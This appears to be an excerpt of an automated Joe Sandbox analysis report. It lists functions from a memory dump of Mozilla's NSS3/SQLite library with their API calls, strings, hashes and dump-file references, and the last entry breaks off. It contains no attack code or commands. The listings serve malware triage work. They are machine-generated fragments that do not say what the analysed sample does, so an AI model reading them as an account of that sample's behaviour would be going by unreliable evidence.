MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CFF38BD), ref: 6CFF3CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CFF38BD), ref: 6CFF3CD1

Part of subcall function 6CFF0BE0: malloc.MOZGLUE(6CFE8D2D,?,00000000,?), ref: 6CFF0BF8
Part of subcall function 6CFF0BE0: TlsGetValue.KERNEL32(6CFE8D2D,?,00000000,?), ref: 6CFF0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CFF38BD), ref: 6CFF3CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6D0CB369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6CFF38BD), ref: 6CFF3D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6CFF38BD), ref: 6CFF3D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6D0CB369,000000FF,00000000,00000000,00000000,6CFF38BD), ref: 6CFF3D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6CFF3D47
free.MOZGLUE(00000000), ref: 6CFF3D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6CFF38BD), ref: 6CFF3D6F

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: 8ab9caab7cd27b3457362e89d1ec66b85063b980dde58cbd45a50c8c832ee998
Instruction ID: 2c8fc86ca4f592ad89b8cbe8407b635fd29534aeeb6efacf48833f37f23ee04d
Opcode Fuzzy Hash: 8ab9caab7cd27b3457362e89d1ec66b85063b980dde58cbd45a50c8c832ee998
Instruction Fuzzy Hash: BC21B0B5A0115637FB20567B4C09F7B39ACDBC2A68B140235B939D66D0DA61C8058272

Function 6CFF4DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CFF536F,00000022,?,?,00000000,?), ref: 6CFF4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CFF4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CFF4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CFF4FAE
free.MOZGLUE(?), ref: 6CFF4FC8

Strings

%s=%c%s%c, xrefs: 6CFF4FA9
%s=%s, xrefs: 6CFF4F89

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: f9b15ca183501bffed6fd23e7bf111ec9e0f370f2e5e6918bf20f1b2c5678cd1
Instruction ID: 53fe7c08deb1c6f88c854a3c36719cb22d004f1a12e8d411d0c5c3c6b732dadd
Opcode Fuzzy Hash: f9b15ca183501bffed6fd23e7bf111ec9e0f370f2e5e6918bf20f1b2c5678cd1
Instruction Fuzzy Hash: 81512721E051468BFB01CB6A86907FF7FF5DF42308F188166E8B4A7BA1D335894787A1

Function 6CF37D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF37E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF37E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CF37EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF37F2E

Strings

%s at line %d of [%.10s], xrefs: 6CF37EE7, 6CF37F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF37ED8, 6CF37F08, 6CF37F19
database corruption, xrefs: 6CF37EE2, 6CF37F23

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 31c5f60ef5bd17a459e50e13c06a9765cc4b9ad93ea2fa3e8ab77a4719bd8295
Instruction ID: 692751abdba304cd6f18af94d0b77432b3fc0e77e5a5937c95aa96ac545503d8
Opcode Fuzzy Hash: 31c5f60ef5bd17a459e50e13c06a9765cc4b9ad93ea2fa3e8ab77a4719bd8295
Instruction Fuzzy Hash: DB61D271A04215EFDB05CF29C990BAA77A2BF49308F1454AAEC0D4B792D730EC81CBE1

Function 6CF1FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF1FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF1FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF1FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF1FE83

Part of subcall function 6CF1FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CF1FEFA
Part of subcall function 6CF1FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CF1FF3B

Strings

%s at line %d of [%.10s], xrefs: 6CF1FD73, 6CF1FE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF1FD64, 6CF1FE26
database corruption, xrefs: 6CF1FD6E, 6CF1FE30

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: a525f5f868b334e4ffcd3bc21cfbd609c92d97a5f557272d31b0086c38228505
Instruction ID: ab6b1607ad0c1b3c61253dd1adfaad8e83057bc928087dd078ff91e83c46fbf6
Opcode Fuzzy Hash: a525f5f868b334e4ffcd3bc21cfbd609c92d97a5f557272d31b0086c38228505
Instruction Fuzzy Hash: 83518371A042059FDB44CFA9D9D0BAEB7B5FF48308F144069E905ABB52E731EC50CB91

Function 6D062F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D062FFD
sqlite3_initialize.NSS3 ref: 6D063007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6D063032
sqlite3_mprintf.NSS3(6D0CAAF9,?), ref: 6D063073
sqlite3_free.NSS3(?), ref: 6D0630B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6D0630C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6D0630BB

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 8aa5b16cb0dcb24dbda61436ee11bc7a80c34bc78d7cbed8736bcd2dd3180d27
Instruction ID: d67d2752814acde73c2843b04c92505524660461276561910845e6fdb48145b9
Opcode Fuzzy Hash: 8aa5b16cb0dcb24dbda61436ee11bc7a80c34bc78d7cbed8736bcd2dd3180d27
Instruction Fuzzy Hash: 0941BE71600246ABFB10CF25D890B9AB7E5FF48364F098528EC598B741E731F959CBE1

Function 6CFA8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CFB124D,00000001), ref: 6CFA8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CFB124D,00000001), ref: 6CFA8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CFB124D,00000001), ref: 6CFA8D73
PR_Unlock.NSS3(?,?,?,?,?,6CFB124D,00000001), ref: 6CFA8D8C

Part of subcall function 6D03DD70: TlsGetValue.KERNEL32 ref: 6D03DD8C
Part of subcall function 6D03DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D03DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CFB124D,00000001), ref: 6CFA8DBA

Strings

KRAM, xrefs: 6CFA8D3E
KRAM, xrefs: 6CFA8CF9

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 6c64893f0cc7202c822756e1480afb1b7dca9dcc517f49f6c14ccab66425ea84
Instruction ID: 1a4a6b0657c1fd6014e72e4b846c90525607bedc113ac2b651a39db1ebcf974e
Opcode Fuzzy Hash: 6c64893f0cc7202c822756e1480afb1b7dca9dcc517f49f6c14ccab66425ea84
Instruction Fuzzy Hash: B4217CB5A04641CFDB00AFB8C48475AFBF0FF85308F15896AD98887701EB70E852CB91

Function 6D0A0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6D0A0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6D0A0EFA

Part of subcall function 6CF8AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CF8AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0A0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0A0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0A0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0A0F2B

Strings

Aborting, xrefs: 6D0A0EB3
Assertion failure: %s, at %s:%d, xrefs: 6D0A0ED9, 6D0A0EE5, 6D0A0F06, 6D0A0F0B

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: f47c6fbce8171299ffb0b201312d99a4fcd5d0a5a0e1770fbe1073b6eb5baa2a
Instruction ID: 448923a7ac7be16b57db28e5609674e88d141a7eec8d7b5322884d55d4cad613
Opcode Fuzzy Hash: f47c6fbce8171299ffb0b201312d99a4fcd5d0a5a0e1770fbe1073b6eb5baa2a
Instruction Fuzzy Hash: 1C01C4B58042086BEF015FA6DC44EAB3F7CDF46764B044015FD0997306D772E92086A2

Function 6D064D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6D064DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6D064DE0

Strings

misuse, xrefs: 6D064DD5
%s at line %d of [%.10s], xrefs: 6D064DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6D064DCB
API call with %s database connection pointer, xrefs: 6D064DBD
invalid, xrefs: 6D064DB8

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: c73e360f94fac9cbb2259b23377000205b144b3de342cf06f05cfb4a4b8d9695
Instruction ID: 8a2f28d3ebad18105a19322e5c5081ca25216c819447b925b314d4513503286f
Opcode Fuzzy Hash: c73e360f94fac9cbb2259b23377000205b144b3de342cf06f05cfb4a4b8d9695
Instruction Fuzzy Hash: 6DF0E911F18AA97BF7005114CD31FBA37D95F09319F4600A1FE0C6B2D3D616D99082E2

Function 6D064DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6D064E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6D064E4D

Strings

misuse, xrefs: 6D064E42
%s at line %d of [%.10s], xrefs: 6D064E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6D064E38
API call with %s database connection pointer, xrefs: 6D064E2A
invalid, xrefs: 6D064E25

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 07b9ce25646dfb663a80a7689dd13d2626581f9dfecea6deb6d6a31725244c43
Instruction ID: 6e568baa4bb841d45f00a7ee00f2ccd55645b02fad03a0d2e9b108ca163cd99b
Opcode Fuzzy Hash: 07b9ce25646dfb663a80a7689dd13d2626581f9dfecea6deb6d6a31725244c43
Instruction Fuzzy Hash: 7FF0E211F489A93BF71010249C31FFA3BC98B0A325F4500A2EA0C673D3D625DA6042B2

Function 6CF99FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CF9A086
EnterCriticalSection.KERNEL32(?), ref: 6CF9A09B
PR_Unlock.NSS3(?), ref: 6CF9A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CF9A0E9
TlsGetValue.KERNEL32 ref: 6CF9A11B
EnterCriticalSection.KERNEL32(?), ref: 6CF9A12F
PR_Unlock.NSS3(?), ref: 6CF9A148

Part of subcall function 6CFB1A40: PR_Now.NSS3(?,00000000,6CF928AD,00000000,?,6CFAF09A,00000000,6CF928AD,6CF993B0,?,6CF993B0,6CF928AD,00000000,?,00000000), ref: 6CFB1A65

Part of subcall function 6CFB1940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6CFB4126,?), ref: 6CFB1966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CF9A1A3

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: ae38ae81b45bf0d51d26ae86e13de2b9b66a99bba82330e3edde31f9e09aee8c
Instruction ID: de8602de46cfd3d498cde0fed44bce6f27d186a8711cf089ccc8f9fb28e2b262
Opcode Fuzzy Hash: ae38ae81b45bf0d51d26ae86e13de2b9b66a99bba82330e3edde31f9e09aee8c
Instruction Fuzzy Hash: 6451C4B6D006009BFF109F79DC44BABB7F8AF86308B168529DC29D7711EB31E845C691

Function 6CFD0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CFD1444,?,00000001,?,00000000,00000000,?,?,6CFD1444,?,?,00000000,?,?), ref: 6CFD0CB3

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CFD1444,?,00000001,?,00000000,00000000,?,?,6CFD1444,?), ref: 6CFD0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CFD1444,?,00000001,?,00000000,00000000,?,?,6CFD1444,?), ref: 6CFD0DEC

Part of subcall function 6CFF0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CF92AF5,?,?,?,?,?,6CF90A1B,00000000), ref: 6CFF0F1A
Part of subcall function 6CFF0F10: malloc.MOZGLUE(00000001), ref: 6CFF0F30
Part of subcall function 6CFF0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CFF0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CFD1444,?,00000001,?,00000000,00000000,?), ref: 6CFD0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CFD1444,?,00000001,?,00000000), ref: 6CFD0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CFD1444,?,00000001,?,00000000,00000000,?), ref: 6CFD0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CFD1444,?,00000001,?,00000000,00000000,?,?,6CFD1444,?,?,00000000), ref: 6CFD0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CFD1444,?,00000001,?,00000000,00000000,?), ref: 6CFD0E79

Part of subcall function 6CFE1560: TlsGetValue.KERNEL32(00000000,?,6CFB0844,?), ref: 6CFE157A
Part of subcall function 6CFE1560: EnterCriticalSection.KERNEL32(?,?,?,6CFB0844,?), ref: 6CFE158F
Part of subcall function 6CFE1560: PR_Unlock.NSS3(?,?,?,?,6CFB0844,?), ref: 6CFE15B2

Part of subcall function 6CFAB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CFB1397,00000000,?,6CFACF93,5B5F5EC0,00000000,?,6CFB1397,?), ref: 6CFAB1CB
Part of subcall function 6CFAB1A0: free.MOZGLUE(5B5F5EC0,?,6CFACF93,5B5F5EC0,00000000,?,6CFB1397,?), ref: 6CFAB1D2

Part of subcall function 6CFA89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CFA88AE,-00000008), ref: 6CFA8A04
Part of subcall function 6CFA89E0: EnterCriticalSection.KERNEL32(?), ref: 6CFA8A15
Part of subcall function 6CFA89E0: memset.VCRUNTIME140(6CFA88AE,00000000,00000132), ref: 6CFA8A27
Part of subcall function 6CFA89E0: PR_Unlock.NSS3(?), ref: 6CFA8A35

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 82ac59c7a779a10adcb6383c3e48bab9990f27eb2018bbe64341c5117b66b103
Instruction ID: 487907b22e3dc04bce57205b7a6639b56d3754e1ad3a9dbe351a02ad5e6491a7
Opcode Fuzzy Hash: 82ac59c7a779a10adcb6383c3e48bab9990f27eb2018bbe64341c5117b66b103
Instruction Fuzzy Hash: 5151C4F6D002119FFB009F64DC81BAF37A8AF49218F1A0425ED09A7712FB71FD1586A2

Function 6CF86E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CF86ED8
sqlite3_value_text.NSS3(?,?), ref: 6CF86EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CF86FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CF86FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CF86FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CF87010
sqlite3_value_blob.NSS3(?,?), ref: 6CF8701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CF87052

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
